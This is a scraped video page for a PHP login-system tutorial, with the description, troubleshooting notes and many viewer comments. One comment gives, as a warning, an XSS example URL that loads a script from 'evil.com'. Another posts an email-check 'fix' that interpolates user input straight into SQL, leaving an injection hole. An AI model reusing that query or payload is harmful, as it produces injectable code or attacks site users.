Тёмный

44: (UPDATED VIDEO IN DESC) How To Create A Login System In PHP For Beginners | PHP Tutorial 

Dani Krossing
Подписаться 477 тыс.
Просмотров 1,1 млн
50% 1

UPDATED VIDEO LINK HERE: • How To Create A Login ...
In this PHP tutorial you will learn how to create a login system in PHP from, and how to show content after being logged in. You will also learn about error handlers, and MySQLi databases, which includes how to make a login form and a signup form.
I am aware that this is a very long video, but I promise it will be one of the easiest guides you will ever find on how to create a login system from scratch!
If you get any errors during this tutorial, make sure to check out my solutions at the very bottom of this description! :)
➤ IMPORTANT YOU READ THIS!
In this video I allow users to log in using either their e-mail or username. Because of this we run into an issue later.
If a user tries to sign up with multiple accounts using the same e-mail then our script gets confused when we try to log in using our e-mail because we have many users with the same e-mail in our database. However this is VERY easy to fix!
To fix this, remove the part of the "login script" where we check the database for a username AND e-mail, and instead make sure we ONLY check for the username. Do this in both the SQL statement AND the prepared statement function called mysqli_stmt_bind_param().
The SQL statement should say:
$sql = "SELECT * FROM users WHERE uidUsers=?;";
And the function should say:
mysqli_stmt_bind_param($stmt, "s", $mailuid);
➤ LINKS
Install XAMPP & a local server: • 2: Installing A Local ...
Regular expressions (search patterns): • 59: Functions Using Re...
PHP Password Recovery System: • How To Create A Forgot...
➤ CHAPTERS
(00:00:00) Introduction
(00:01:08) Technical info you need to know
(00:03:45) What you need to have ready before we start
(00:05:28) HTML & CSS markup
(00:23:49) Setting up our database
(00:29:59) Creating the PHP signup script
(01:15:51) Creating the PHP login script
(01:35:39) How to start a session on all website pages
(01:36:37) How to change website content when logged in
(01:41:10) Creating the PHP logout script
(01:42:56) How to create error messages
(01:48:42) If you got an error during this tutorial
➤ GET ACCESS TO MY LESSON MATERIAL HERE!
First of all, thank you for all the support you have given me!
I am really glad to have such an awesome community on my channel. It motivates me to continue creating and uploading content! So thank you!
I am now using Patreon to share improved and updated lesson material, and for a small fee you can access all the material. I have worked hard, and done my best to help you understand what I teach.
I hope you will find it helpful :)
Material for this lesson: / lesson-material-42361704
➤ ERRORS YOU MIGHT RUN INTO!!!
▸"signup=empty"
Make sure you wrote "mysqli_connect" and NOT "mysql_connect" in the dbh.inc.php file!
▸"unexpected }"
If you get this error message:
Parse error: syntax error, unexpected '}'
Then it is because you forgot to close a ) or ; somewhere.
▸"unexpected ;"
If you get this error message:
Parse error: syntax error, unexpected ';'
Then it is because you forgot to close a } or ) somewhere. Probably because you made a mistake with your parenthesis near the "empty()" functions in your signup script.
▸"hashed pwd error"
If you get an error in the script when you hash the password, then it is because you decided not to follow my steps exactly in the video when I created the database table. Make sure you DON'T set the varchar() to a lower value! When you hash the password it will take up a lot of space in this column, and if you set a lower number then it won't fit!
▸"signup=success but database is empty?"
Here there might be a few reasons for your error. 1st is that you made a syntax/spelling mistake in your code. And yes you will claim that your code is identical to mine, but in 90% of the cases people claim this, I still find a syntax error in their code. So check your code for errors!
2nd reason is that MAMP seems to cause a lot of issues for people. Therefore try using XAMPP and make sure you write the same as me in the dbh.inc.php file.
3nd reason might be because you didn't follow the tutorial 100% when we set up the database at the beginning.
▸"HTTP ERROR 500"
HTTP ERROR 500 is a server error, meaning that you are most likely using an outdated version of apache or mysql. Try updating your servers and make sure that you are using the latest version of PHP.

Опубликовано:

 

25 июл 2024

Поделиться:

Ссылка:

Скачать:

Готовим ссылку...

Добавить в:

Мой плейлист
Посмотреть позже
Комментарии : 2,8 тыс.   
@Dani_Krossing
@Dani_Krossing 5 лет назад
I daily receive the same question from different people about having to pay $5 for the CSS file, so before asking here is my answer :) Yes you do need to be a Patreon supporter to download my lesson files INCLUDING the CSS file, and here are a few reasons why. 1: CSS should be easy for you to do at this point, therefore you should not need my CSS file. 2: This is not a CSS tutorial, and my subscribers even voted on me not including CSS in my videos because it took too long. 3: You are not supposed to "just copy" from this video, you are supposed to "learn and apply" to your own website. Therefore again, you shouldn't need my CSS. 4: People have already supported me on Patreon to get the CSS file, therefore I won't suddenly make it free to download. 5: Majority of my subscribers where the ones who pushed the idea of me using Patreon for my lesson files, and I have their full support in doing so. I keep getting comments where people either want to argue with me on why they should be getting my lesson material for free. I don't know if it is a lack of understanding that RU-vidrs also need to pay their bills, or if they simply don't care as long as they get the material for free. But this is how I run my channel :)
@jimgerth6854
@jimgerth6854 5 лет назад
Totally agree and keep up the good stuff! Btw can you tell me what video you’re referring to at 4:36, the „PHP course before“?
@Dani_Krossing
@Dani_Krossing 5 лет назад
Hi Jim, here is the link for that video I mentioned :) ru-vid.com/video/%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE-fMTvi3Rys-o.html
@InfiniteThrees
@InfiniteThrees 5 лет назад
​@@Dani_Krossing it's great to see that you're active in the comments :). Do you address the duplicate email problem in your forgot password script video?
@glennv.merkel3020
@glennv.merkel3020 5 лет назад
agree, programming is practicing also it is ur effort bro...however ur are the best i like ur videos :P
@NewtonCazzaro
@NewtonCazzaro 5 лет назад
You are absolutely correct, don't even bother adding a CSS file this! You are amazing, thank you so much for this video. I really appreciate it and it really changed my life! Ps. To the people asking for the CSS stylesheet, give us a break... you are watching an advanced computer science video and asking this wizard for a CSS stylesheet? You guys should feel embarrassed of such a stupid complain.
@demliquids9381
@demliquids9381 5 лет назад
shocked at how anyone can give out such a high quality work for free. this was wonderful
@Dani_Krossing
@Dani_Krossing 5 лет назад
Thanks :)
@bitmammothOG
@bitmammothOG 4 года назад
Patreon helps him a ton :) I support there, its definitely worth considering the contribution.
@techcanyon411
@techcanyon411 4 года назад
@@bitmammothOG There was a time i signed up for Patreon for one month but i did not got what i am looking for;a complete login system.Patreon had many branches of payment rate and it pissed me off.
@bitmammothOG
@bitmammothOG 4 года назад
@@techcanyon411 thing is you are looking for a complete system not learning how to do it yourself. I think you might be better off searching something like Udemy for that sort of info. I do however advise against that out of my personal experience it leads to really old outdated systems. If you stop and think about what you see from each video you already learned way more than you can anywhere else for 5$ a month.
@bitmammothOG
@bitmammothOG 4 года назад
I once asked how I could do something Daniel already had explained and he clarified which videos to watch then I realized I actually already knew how to do what I was asking. I never had this problem again after that. You want full login system, I believe that is also posted in the current updates on the Patreon but you can always recreate it from the videos on youtube for free. Also for the record, I am not Danial I am Terry an actual supporter :)
@thatminivan
@thatminivan 5 лет назад
Your work and passion reflects on your videos and files carefully documented. I am now subscribed to your patreon, I feel like you putting the best in your work. It's amazing how good you explain every step. Exactly what I needed. I've been hunting for codes on github and random sites but this is so much more worth it than spending hours trying to understand on your own.
@oscarmartinlive
@oscarmartinlive 4 года назад
This is by far the best PHP login system tutorial I've seen on RU-vid. Thank you.
@NoxaDreshar
@NoxaDreshar 4 года назад
Hey mmtuts, fellow coder veteran here. I just stepped over your video and was quite surprised by the quality and detail of this tutorial. You put in a lot of work, information and also error handling for the user which is quite not usual these days, especially for free. My kudos to you. Keep up the good work.
@fluffyfetlocks
@fluffyfetlocks 5 лет назад
Finally, someone posted a well crafted login system guide that actually explains something. Allot of guides out there say "copy paste this" and then it is difficult to to troubleshoot. They often dont work too as they are for php5
@whiteavem5438
@whiteavem5438 5 лет назад
yes!!! exactly
@alexandertrists3965
@alexandertrists3965 5 лет назад
this IS difficult to troubleshoot! please see my comment to mmtuts $5 post.
@7Mirino
@7Mirino 5 лет назад
Not only is his tutorial extremely informative and well laid-out, it's also ENTERTAINING to watch. I find it very difficult to sit for almost 2 hours straight just watching a video, but the way this is presented made those hours fly!
@bwf1046
@bwf1046 3 года назад
Clear, simple, concise... just an amazing tutorial. These are the highest quality programming videos on RU-vid.
@NanoStudio9
@NanoStudio9 4 года назад
It amazes me that you've provided such high quality work for FREE. This was my first attempt at learning PHP and succeeded. Thank you everything you've done!
@Dani_Krossing
@Dani_Krossing 5 лет назад
Hi everyone! Yes this is a re-upload of an older tutorial :) The older version of this video had quite a lot of things I wanted to change both in terms of PHP structure and security. Therefore I have made this new updated version which is a bit longer, but I promise it is worth the watch. ENJOY! :)
@der4233228
@der4233228 5 лет назад
Thank you very much. Well done.
@alphagaming1995
@alphagaming1995 5 лет назад
Please make a video on Forget password in php
@yasmeentahir5842
@yasmeentahir5842 5 лет назад
Thankyou Very much
@BarnabyPerrinAldous
@BarnabyPerrinAldous 5 лет назад
This upload is a major coincidence for me. I followed the old video and then I decided to view the series from scratch. Today I got to episode on hashing and dehashing data and today you upload this. Very handy for me, thanks Daniel!
@DR9Productions
@DR9Productions 5 лет назад
Hi mmtuts. First of all, I just wanted to let you know that I have learned a lot by watching your video tutorials! The way you explain things are really easy to understand!! I am also, trully very thankful to you for the amount of time you spend making this fantastic videos and sharing with so many of us your knowledge. I have watched a lot of tutorials about making login systems, but the thing that is more difficult to find and is probably one of the biggest concerns for the must of us is the security of the system. There are so many threats online, like sql injections, hacking sessions and so many more that the must of us are not even aware off. So, what I am trying to say is... how can the must of us protect our login and management systems from all this threats? If you were to make a high security system for a login and admin system, how would you do it? Would you create a php file like security.php with all the security classes and functions inside it and called them when needed?! Would that be a easy way to update future security features?! Would you create and generate automatic tokens to prevent sessions hacking? Once again, thank you very much for sharing your knowledge with us!
@Mr_Simmons
@Mr_Simmons 5 лет назад
You my friend are a saving grace! I'm so glad that your making an updated version of logins, and I'm really looking forward to the OOP login tutorial. I'm very slowly going through your OOP playlist to help me with a project, and then at some point you will come up with an OOP login version. Awesome! Also, I don't mind the long videos, in fact a actually prefer them to one subject split up into mutable videos. I guess for me its easier to go through something in one go. Keep up the good work! Excited for the future!
@Osuna2024
@Osuna2024 4 года назад
You are really good, man. Thank you very much. I took a full web development course in college and didn't learn half as much as I did with you in this video. Sure, anyone can make a simple video for logins but with ZERO cybersecurity or database creation. Again, thank you so much.
@AbdellahRamadan
@AbdellahRamadan 4 года назад
You are a hero! This is one of the most comprehensive tutorial on RU-vid. Thanks a lot!
@Brrrndy
@Brrrndy 5 лет назад
LMAOOOOOO! I TOOK 7 HOURS TO WRITE THE CODE AND FIGURE OUT WHY MY CODES WONT WORK. But thanks for this tutorial. Keep up the good work!
@Wakssbm
@Wakssbm 5 лет назад
I can't thank you enough for this tutorial! Well made, well explained, I had no question!
@GeorgeBrotherston
@GeorgeBrotherston 4 года назад
I am relatively new to PHP, and found your courses via a RU-vid search. These courses are the best I've seen and I wish to thank you for creating these! I just signed up for the $5/mo. Patreon, and expect to continue support for as long as I am learning through your system. I am interested in many of the topic areas you have available, with each having multiple videos broken down nicely by subtopic. I wish you success in your continued endeavors and look forward to exploring your content!
@imanechakri4290
@imanechakri4290 4 года назад
can you send me the css code . i'm a student i don't have money for patreon :/
@victoriagn5934
@victoriagn5934 4 года назад
mmtuts!!! honestly, you saved me from failing one of my programming classes, I was turning in empty docs because I honestly did not know how to do anything (its an online class and my professor only uploaded his lesson plan at the beginning of the semester lmao) thank you sosoosososo much, your lessons are the best!! REALLY THANK YOU. I'm becoming a patreon supporter now for sure:))
@SCHNEE666
@SCHNEE666 5 лет назад
Wow, I actually learned more from this tutorial than in the past semester at my university :D Thank you!
@besz2189
@besz2189 4 года назад
haha same here :D
@noumansyed5968
@noumansyed5968 4 года назад
(00:00:00) Introduction (00:01:08) Technical info you need to know (00:03:45) What you need to have ready before we start (00:05:28) HTML & CSS markup (00:23:49) Setting up our database (00:29:59) Creating the PHP signup script (01:15:51) Creating the PHP login script (01:35:39) How to start a session on all website pages (01:36:37) How to change website content when logged in (01:41:10) Creating the PHP logout script (01:42:56) How to create error messages (01:48:42) If you got an error during this tutorial THIS IS AMAIZINGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
@erissanorma5891
@erissanorma5891 4 года назад
thanks for the link!
@g-shubham
@g-shubham 4 года назад
Thanks !!
@evan.5967
@evan.5967 3 года назад
it's in the desc lmfao
@iconsworld9
@iconsworld9 2 года назад
nice paying maxiumum attention.
@saranghaeyo.carvz.
@saranghaeyo.carvz. 2 года назад
Hi.. I'm a CS Student & I really learn a lot in your video tutorials.. It really help me in building our system for our school requirements.. We are so lucky to have someone like you who have all the passion in creating all this video lessons.. Its a very big help especially for us students.. Thank you so much for creating this superb channel.. Looking forward to more video tutorials of yours!
@benjaminibok8003
@benjaminibok8003 3 года назад
I just finished seeing the second php login system video, and I wrote out everything, I hope I can follow my scribbles without needing the video. Great work right here Danny, thanks so much...
@camilabooth7397
@camilabooth7397 4 года назад
18:09 stopped the video to css the crap out of my php page! Thanks for the lesson!
@Scobb447
@Scobb447 5 лет назад
Hey, just wanted to point out a little error... At 1:47:44 You should have the following: else if (isset($_GET["signup"])) { echo "Success";} or else you'll get a error for signup being empty.... AWESOME GUIDE BTW
@Jamie-pb5tq
@Jamie-pb5tq 5 лет назад
changed that and still getting empty fields error
@uvebgns8224
@uvebgns8224 4 года назад
thank you !!
@sed10001
@sed10001 4 года назад
Thanks a lot!
@newyorkonmusic8401
@newyorkonmusic8401 4 года назад
You can do this very easy and user friendly instead. Add this just below the code: else if ($_GET['signup'] == "new"){ echo 'Just fill in the fields.'; } And in your header.php change the signup a href link to Signup
@NoName-rs4th
@NoName-rs4th 4 года назад
thank you man
@danielmadison4451
@danielmadison4451 4 года назад
Fantastic job! Your English is great, charming and precise. I followed the whole thing and now have a great development system ready for coding. Thanks.
@Maths4Everyone
@Maths4Everyone 4 года назад
This is so clearly explained. I was dreading creating a login system, but after just a few hours I had one... a couple of hours later I had one which was fully customised for me. Thank you.
@poorboy2400
@poorboy2400 5 лет назад
this tutorial was extremely helpful, thank you for your efforts good man and i hope you upload the tutorial on the user page soon!!!!
@mounir101
@mounir101 5 лет назад
Your voice is great and very clear.
@0596sami
@0596sami 5 лет назад
As always
@jawsstech
@jawsstech 4 года назад
EXCELLENT TUTORIAL. This episode is EXACTLY what I needed. You have a mastery of explanations that simultaneously clear and engaging. The video and sound quality exceeded expectations. I was always interested in coding and spent some time looking at the JavaScript, but you alone made me a fan of PHP. I am going to spend a lot of time watching and liking this content. GREAT JOB!
@LayKxD
@LayKxD 4 года назад
I wish I could like this video 5,000 times I have to learn PHP and SQL basically in half a semester, and this dude is the real deal.
@absterexe
@absterexe 5 лет назад
Thanks mmtuts ! GET THIS GUY A MILLION OF SUBS.
@gosavva1
@gosavva1 5 лет назад
Wow, a new login system video that is why I love you and love your videos, you always update your videos .. now I will start watching, thank you from now because I know it will be very helpful.
@besz2189
@besz2189 4 года назад
The very first tutorial video that actually helped me a lot! Thank you! You now have a new subscriber. Keep it up!
@jamesoneill6183
@jamesoneill6183 4 года назад
I'm a bit late finding this and commenting, but thank you so much for making these videos, the fact that you've put this up for free is crazy, you've helped myself and thousands of others immensely. Thank you!
@jakobkmar
@jakobkmar 4 года назад
Such a great tutorial! So detailed and mentiones everything you need to know.
@majidnafarabad7311
@majidnafarabad7311 4 года назад
I returned back to web design after 5 years and this video really helped me recall many items. Thank you so much, it was very clear and helpful.
@InferiPlasma
@InferiPlasma 4 года назад
All this info in a single well-made video, thanks a lot man! You're great!
@mounir101
@mounir101 5 лет назад
Thank you a lot for this episode, Sir, it was a long episode but that's good it's really helpful. I appreciate your efforts.
@angelrico640
@angelrico640 5 лет назад
Thank you for all the help. You have teach me more than college's teacher. xD Kidding, but definitely a big help in my projects.
@estevaobutilheiro
@estevaobutilheiro 3 года назад
Thanks for giving this for free. Really quality content and really easy to understand. Its a bit long but its because you explain it in detail, which makes it perfect. Thanks King!
@bowiemtl
@bowiemtl 4 года назад
I'm so glad that I was right about using sessions for my own attempt at a login system. My entire system was insecure and I knew it was but atleast I got one part of it right. Thanks for this tutorial!
@bankoleemmanuel1088
@bankoleemmanuel1088 5 лет назад
Wow... My mentor. You re-upload this again!!! 🙌🙌🙌😉
@ricardocosta5628
@ricardocosta5628 3 года назад
I know I'm not early, but you might just have saved my graduation's final project bro. That's a sub for sure.
@ruthogadina757
@ruthogadina757 3 года назад
same 😂
@woohootunes
@woohootunes 4 года назад
this is an incredibly articulated tutorial! thank you for all the work you've done.
@MoultonRock
@MoultonRock 4 года назад
Excellent work mate. You are one of the best code teachers I've ever watched! You increased my understanding so much! Thank you! Keep up the great work!!
@per1sher
@per1sher 4 года назад
This is excellent - thank you for posting. I'll remember you when I float my facebook killer website...
@tysonhamada6527
@tysonhamada6527 5 лет назад
Thanks man awesome tutorial nice teaching style better than my uni teachers
@diahooh
@diahooh 4 года назад
2 years late but thank you so much Dani, this was the best tutorial I've seen.
@farisdelic4
@farisdelic4 4 года назад
This is the best tutorial I have ever seen on youtube. Well done and thank you very much!
@didierdelay6623
@didierdelay6623 5 лет назад
Hi, Your video is really impressive. You manage to clearly explain a quite sensitive subject. That'a great. There is one thing that could actually be confusing for some people. Right at the beginning of the video (around 02:20), You specify using mysqli which is not mysql, and mysqli is the new improved version replacing the older mysql obsolete for quite a while now. This is totally true and very important to mention such thing as thy re still out there many documentations based on mysql. However, the way you say it could be confusing for some people. It could actually be understood as MySQL (the database server) is obsolete, when the mysql library (or extension) is the outdated stuff. Never the less, I think you have done a great job at publishing this video, clear, instructive, inspirering. Quite long, but justified, and that's definitely not a problem when user can pause as often as needed. Thank you very much
@cobrassasino
@cobrassasino 5 лет назад
good explanation. I just wandering why he uses mysqli instead PDO. I know PDO is very common, I though is behind Laravel, Wordpress etc...
@cobrassasino
@cobrassasino 5 лет назад
I anwser myself. I found this on : "websitebeaver.com/php-pdo-vs-mysqli". "My opinion is that PDO should be used by default, especially beginners, due to its versatility, general predictability and useful fetch modes. However, MySQLi would be a better choice for advanced users who want the newest"
@sipofbruno6611
@sipofbruno6611 4 года назад
For those worrying about the CSS stylesheet, I had no idea how to use CSS so I paused the video, and watched “CSS Crash Course for Absolute Beginners” and a day later I managed to create the same exact design used in this video. Wasn’t that hard.
@imanechakri4290
@imanechakri4290 4 года назад
can you send me the css code . i'm a student i don't have money for patreon :/
@jorgetonos
@jorgetonos 4 года назад
Bro, I don't think there is an actual word to show my gratitud to you, all current word on the dictionary don't define why I feel right now, so I just will say THANK YOU in caps. I mean, this is, FOR SURE, the best php login tutorial for beginners EVER. Man, you don't just explain with details what is what you're doing, why you're doing it and what the code is for but as well you make sure you're following the latest security measurements out there. I mean, this is just too much, again THANK YOU for your effort in making these videos, the community appreciates it. You have a spot in heaven already my fellow.
@mamineboudemagh12
@mamineboudemagh12 4 года назад
i really didn't expect to learn so much am so amazed of how much detailed this video is . thank you so much
@ExtraKanin
@ExtraKanin 5 лет назад
so underrated. i love you i learned so much brb gonna subscribe to my first patreon ever
@tr0uge962
@tr0uge962 5 лет назад
mmtuts = "The styling doesn't have any impact on how to login system works" me = " nav{display:none;} "
@revwhyte
@revwhyte 5 лет назад
You're not wrong XD
@karmanetworkit6787
@karmanetworkit6787 4 года назад
ahahaahahhahah
@teacuptea9155
@teacuptea9155 4 года назад
Why did I find this funny lol
@Haider-ol7jr
@Haider-ol7jr 4 года назад
Tr0uge what a 5 head move haahaha
@someoneontheinternetuvenev6268
@someoneontheinternetuvenev6268 4 года назад
Lol dude
@willkelly2783
@willkelly2783 4 года назад
Thank you so much!!! It’s incredible that such high-quality content is avails for free, and the best thing is, it actually works!!!
@CorporalKruger
@CorporalKruger 3 года назад
Hey Mate. Just wanted to drop you a message to let you know how impressed I am in your tutorials and also the info you provide on Patreon! You have saved me plenty of time and hassle. Have just been through creating a login system.
@bogdaniagar9431
@bogdaniagar9431 5 лет назад
I love your videos. when you gonna do a complete login, register video for user and admin?
@paulgarcia2887
@paulgarcia2887 4 года назад
Are you going to create a video on a user profile? I'm trying to figure out how to make it so that when a user logs in information about their account balance shows up.
@markedwards3780
@markedwards3780 3 года назад
Dani, I think that your lessons are superb and I really don't mind if I have to pay a small fee for dowloading any material you make available. I am learning so much from your lessons, and you have a natural ability to explain complicated concepts in a way that beginners can easily understand. Keep up the good work.
@charliesmith8309
@charliesmith8309 3 года назад
man thank you so much. I haven't touched any other coding language other than html, css or java and I was able to get a pretty basic understanding of php just from this video, and everything worked perfectly. this was a straight up lifesaver. keep it up !! :]
@hersonbalisi4075
@hersonbalisi4075 4 года назад
hey! Im kinda new to programming here, very thankful I've found your tutorials! I admire your patience and energy putting everything in words just to explain php to somebody like me, lol.. keep it up!! I will be waiting for your new tuts! btw, got a questuin though, I've watched this video twice, and I dont think you kinda run an error check if the same EMAIL already exists in the database, or i just missed it? PS: i dont really get the concept of that "prepared statement" thing haha! thanks!
@tailboat
@tailboat 4 года назад
This is true he doesn't, but it can be easily done by adding the OR operator in the SQL query created at 53:26 He shows how to add the AND operator while creating this (55:16), just switch that out for the OR and check the email. You would have something that looks similar to this: "SELECT uid FROM users WHERE uid=? OR email=?"
@hasanajami7653
@hasanajami7653 5 лет назад
1h, 49min, 36s It's a Challenge... [ACCEPTED] Btw. you're the best:)
@Sanddaisydiary
@Sanddaisydiary 2 года назад
I’m so grateful for your hard work. This is something people pay money for. I’m really fortunate to have come a cross this. Your explanation is so good.
@nikaellas.6814
@nikaellas.6814 3 года назад
thank you. love how clear this tutorial is ❤️ and also it kept me watching till the end without any skips at all!
@MrShadyKiller
@MrShadyKiller 5 лет назад
I really like your videos! 🧔
@maddragonfurs6358
@maddragonfurs6358 3 года назад
You just saved me from certain doom, i thank you and will name my first born in your honour
@Charlie-fx5vs
@Charlie-fx5vs 4 года назад
This is a great video. Your login system is the best I've ever seen, and it works like a charm. I've already customized it to the way that will suit the project I'm working on. Thank you so much for this video. Regarding the matter about the CSS file, I happen to be someone who knows how to style a webpage, and I use my own twists. As to the people who are unhappy about your not sharing the CSS file, I have to say, the nerve of some people! Here you are, sharing your valuable knowledge, and yet, people are complaining because they want more. The more you do for some people, the more they expect you to do, and the less appreciative they are of what you do. You just can't please some people. I'm not this way. I am very very appreciative of what you do. Hey, I support you, Bro. Keep up the good work.
@christopher7540
@christopher7540 4 года назад
thank you man i'm a complete beginner to php but you made the whole process very easy to follow and understand very useful and still relevant in 2020. thank you
@farhadboy629
@farhadboy629 4 года назад
This guy will make me an entrepreneur
@lepystudio8974
@lepystudio8974 4 года назад
Coder maybe
@amasnur79
@amasnur79 4 года назад
Thank you for this terrific tutorial. Yours has the best coding practice compared to other tutorial videos I have viewed. However, there is a flaw that I detected: 1:47:25 You did not check if signup is set. As a result, if you access the signup page from index.php (when there are no other error tags in the url), you will get error "Undefined index: signup". My workaround is to do if (isset($_GET['signup'])) first, then check if it is equal to "success".
@tp5723
@tp5723 4 года назад
This is the only little error i recognized, too. I solved it by adding: else if (empty($_GET)) { # code... } just before else if ($_GET['signup'] == "success") { echo ' Signup successfull'; }
@learningenglishisfun1470
@learningenglishisfun1470 4 года назад
That's correct! thanks
@myproject6753
@myproject6753 4 года назад
fantastic tutorial - I really learned a lot! one of the best php tutorials I've seen in the "matrix" :-))
@androidmod183
@androidmod183 2 года назад
Just watched all previous lessons and i figured out that there's an updated version for this current video, well i guess i will pass on this one and go to the new one :) Thank you for your content
@JimfromIndy
@JimfromIndy 5 лет назад
I need to point out that you have allowed multiple users to use the same email address. When you fetch the user upon signin, you assume there is only one. You could easily end up with users having multiple usernames with the same email address, and not knowing which user you selected.
@Dani_Krossing
@Dani_Krossing 5 лет назад
You are right that is something to look out for. I didn't want to go over a whole lot of error handlers in this episode otherwise the already long video would get even longer, however you are right that this is a factor when we allow users to log in using an email as well. The login system doesn't "break" per se, however when the user logs in they will only log in as the first user in the database with that e-mail. The other users with the same e-mail are just going to get ignored. I'm gonna go ahead and include this in the description of the video and I will pin your comment as well :)
@brantedselnemiada4956
@brantedselnemiada4956 5 лет назад
I also wonder that would happen, thanks for commenting it out. Btw, I'm done fixing it for those who wants the code: //Check if the email already exist $sql = "SELECT * FROM users WHERE user_email='$email'"; $result = mysqli_query($conn, $sql); $resultCheck = mysqli_num_rows($result); if ($resultCheck > 0) { header("Location: ../signup.php?signup=emailexist"); exit();
@syahmiahmad2166
@syahmiahmad2166 5 лет назад
i was about to point that out . you beat me to it .
@angelshallom6781
@angelshallom6781 5 лет назад
@@brantedselnemiada4956 where should this code be placed?
@brantedselnemiada4956
@brantedselnemiada4956 5 лет назад
@@angelshallom6781 at your signup.inc.php file add that code to your error handlers, dont forget to put it inside of an else statement like this: else { //Check if the email already exist $sql = "SELECT * FROM users WHERE user_email='$email'"; $result = mysqli_query($connection, $sql); $resultCheck = mysqli_num_rows($result); if ($resultCheck > 0) { header("Location: ../signup.php?signup=emailexist&first=$first&last=$last&uid=$uid"); exit(); }
@georgelopez9356
@georgelopez9356 4 года назад
Hi mmtuts, I believe you're totally right about charging for your files, what is $5, $20 or even $50 for such a good work!. People prefers to spend $500 at Disneyland rather than pay for something that will help them prosper. If I where you I'd not listen to this people and use my focus and energy to develop more quality curses like this one! Thank you!
@torbenbuchwald2181
@torbenbuchwald2181 4 года назад
Just brilliant! super high quality content well delivered! i have joined your website and well done for putting this together. never don't PHP before and i could follow it.
@eugenedonato5688
@eugenedonato5688 4 года назад
I'm a big fan of your tutorials sir, just wanna say thank you for uploading such things.. you're helping a lot of people. : )
@revanslacey
@revanslacey 4 года назад
27:58 Just looked up SQL text types. TINYTEXT has a maximum of 255 characters. LONGTEXT has a maximum of 4,294,967,295 characters. Should be enough for a reasonably secure password!
@loosabway3400
@loosabway3400 4 года назад
Amusing...
@akachi1637
@akachi1637 4 года назад
That is 4gb of password!!!!!
@haziqsontkraken1246
@haziqsontkraken1246 3 года назад
how long password did you use? sure, hashing uses a lot of space, but 4GB is kinda overkill
@austingriner2773
@austingriner2773 5 лет назад
Add this to to automatically fill it in after returning from the error page, if it had been filled in already: value="" You can do the same with your other text fields as well, only needing to change the "name" part.
@HarshdeepSingh-iz6gr
@HarshdeepSingh-iz6gr 5 лет назад
Just what i was about to write... Good to see someone else is paying attention!!! He didn't actually cover this part!!!😄😄😅
@timanderson5717
@timanderson5717 4 года назад
Why not use That way you're not repeating the name. Also it's shorter. Although, either way you might open yourself up to XSS attacks if someone goes to page.php?name=%3Cscript%20src="evil.com/bad.js/"%3E
@Jansa372
@Jansa372 4 года назад
I'm sorry but I didn't quite get it. So do i have to write that in the html input?
@BanDrag0n
@BanDrag0n 4 года назад
how can I do the same thing for the login box? I want it to refill the username if the password was wrong
@techcanyon411
@techcanyon411 4 года назад
This is a wonderful tutorial and spending so much on it shows your wonderful intention and open-hearted to then-upcoming programmer's partisan.
@ameen.webdivers
@ameen.webdivers 4 года назад
Thanks man I this the material we need when we have just sarted working on live projects
@michaltymburski8528
@michaltymburski8528 5 лет назад
When you say word " SO!" very often it hears like your using it like If statement inside if inside if inside if :D which i guess helps to understand those if statements :)
@flaasher
@flaasher 5 лет назад
Plz make a tutorial with example on how to build a project with MVC and dealing with DB
@nmrisrl11
@nmrisrl11 5 лет назад
Ali Saleh Good suggestion.
@paulsonstechpoint773
@paulsonstechpoint773 3 года назад
This video made my day and gave you a subscriber! So well explained and your voice is so crisp and clear that I understood everything. Thanks for this video.
@bipulhuge
@bipulhuge 4 года назад
loved this video very much. High quality clean and clear PHP tutorial ever in youtube. love it
@78wesley67
@78wesley67 5 лет назад
Your video's are awesome man. Keep it UP ! They are really helpful. but is this 100% secure ? are there no exploits in the code?
@method9706
@method9706 5 лет назад
someone will always find an exploit, but using prepared statements avoids most sql injection attacks, the other way is by configuring a firewall, but im not the best at explaining how to do that,
@karansoni4429
@karansoni4429 5 лет назад
Hey bro can u tell me the packages of ATOM you are using And what should i use for php development... Thank You.!
@Patrickalcerro
@Patrickalcerro 5 лет назад
I think he added the "autoclose-html" package available in the install section of Atom preferences.
@karansoni4429
@karansoni4429 5 лет назад
@@Patrickalcerro Ok i am having an issue with ATOM when i save the file as .php the "Tab" spacing doesn't work i have to manually give 4 spaces..
@cookie2112
@cookie2112 4 года назад
Been using your vids to create a form. Not everything worked for me but i've learned a lot from them. Great material. Thanks
@edwardkiarie2860
@edwardkiarie2860 4 года назад
You are my "HERO". 💪You taught me alot of stuff school will never teach me.
@sebastian993
@sebastian993 4 года назад
where was this 15 years ago when we had to do it as part of an assignment lol..
@arzfiring3331
@arzfiring3331 4 года назад
Thank god it's atleast available now, so that I can do my assignments 🙃🙃
@parthip998
@parthip998 3 года назад
@@arzfiring3331 Same 😁
@samueliaconelli6943
@samueliaconelli6943 4 года назад
damn, i forgot the i of mysqli. Dont repeat my same error:(
@DCG_42
@DCG_42 3 года назад
I need to learn php really fast so this was a good dive into php, this was basically a simple fullstack thank you. This language is very powerful and contains so many useful things for web dev.
@tokka2364
@tokka2364 4 года назад
Thanks man, I'm a 15 year old programmer and this was really easy for me to understand. I had an assignment and this made my life so much easier thank you
@fling2985
@fling2985 5 лет назад
When I click the signup button after I wrote in all the correct information it takes me to signup.php?error=sqlerror instead of showing success. I've checked through the code for errors or wrong spellings and I've gone through everything in your code multiple times. I cant find a way to fix this...
@justdaidalos985
@justdaidalos985 5 лет назад
Same. Anyone solved that?
@lightyagami3650
@lightyagami3650 4 года назад
No. I'm also trying to figure out what's wrong. I did everthing exactly like him
@lightyagami3650
@lightyagami3650 4 года назад
Just solved it. I made the mistake to write "!mysqli_stmt_prepare($conn, $sql)" and "mysqli_bind_param(...)". But insted I should have written "!mysqli_stmt_prepare($stmt, $sql)" and "mysqli_stmt_bind_param(...)". Hope that will help you!
@tommmmmer
@tommmmmer 4 года назад
FIX: Like many many comments here there is an issue when you signup. signup.inc.php signup.php?error=sqlerror This means the validation checked out but as soon as SQL comes into play it fails. I've tested the DB connection, tested that I can insert from PHP, tested that I can insert on the database. Check these lines are just like this: $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) I think in the video he modifies this at one point nad for me I had one entry of ""mysqli_stmt_init" and the other "mysqli_init
@alexzil2142
@alexzil2142 3 года назад
I'm not understanding this I'm having an "object not found error 404" and at the same time I'm seeing the "sign up.php? error=sqlerror" on my header I'm very confused and frustrated
@mohibqureshi391
@mohibqureshi391 4 года назад
man....I just can't stop watching you...i mean... your teaching style is unique ...i like it...
@jonathanX01
